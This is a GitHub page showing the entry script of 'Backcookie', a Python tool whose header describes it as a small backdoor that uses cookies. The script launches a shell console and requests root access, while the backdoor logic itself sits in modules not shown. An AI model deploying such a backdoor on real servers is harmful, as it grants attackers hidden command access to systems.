forked from jofpin/backcookie
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbackcookie.py
More file actions
47 lines (43 loc) · 1.68 KB
/
backcookie.py
File metadata and controls
47 lines (43 loc) · 1.68 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#**
#
##############
# Backcookie #
##############
#
# Small backdoor using cookie.
#
# @version 1.0.2
# @link https://github.com/jofpin/backcookie
# @author Jose Pino (Fraph), @jofpin | [email protected]
#
# This file is the boot in Backcookie.
# For full copyright information this visit: https://github.com/jofpin/backcookie
#
# Copyright 2016 by Jose Pino <[email protected]>
#
###############################################
# #
try: #
import requests #
except: ################################
print "\t\nPlease install requests library, you can do it executing: \n" #
print "\t\npip install requests" ################################
from core.backcookie import Backcookie #
from core.elements import elements #
# #
################################################################################
# Backcookie is like the people who finds the love of his life every 2 months. #
################################################################################
#
# Make a call to run the shell console
appShell = Backcookie()
# Request root home to run <backcookie> with all permissions
appShell.rootConnection()
if __name__ == "__main__":
try:
# General expression this is expressed after the root
appShell.main()
except Exception as error:
elements.close(elements.color['red'] + "Error: " + elements.color['blue'] + "%s" % error + elements.color['white']) # Result of error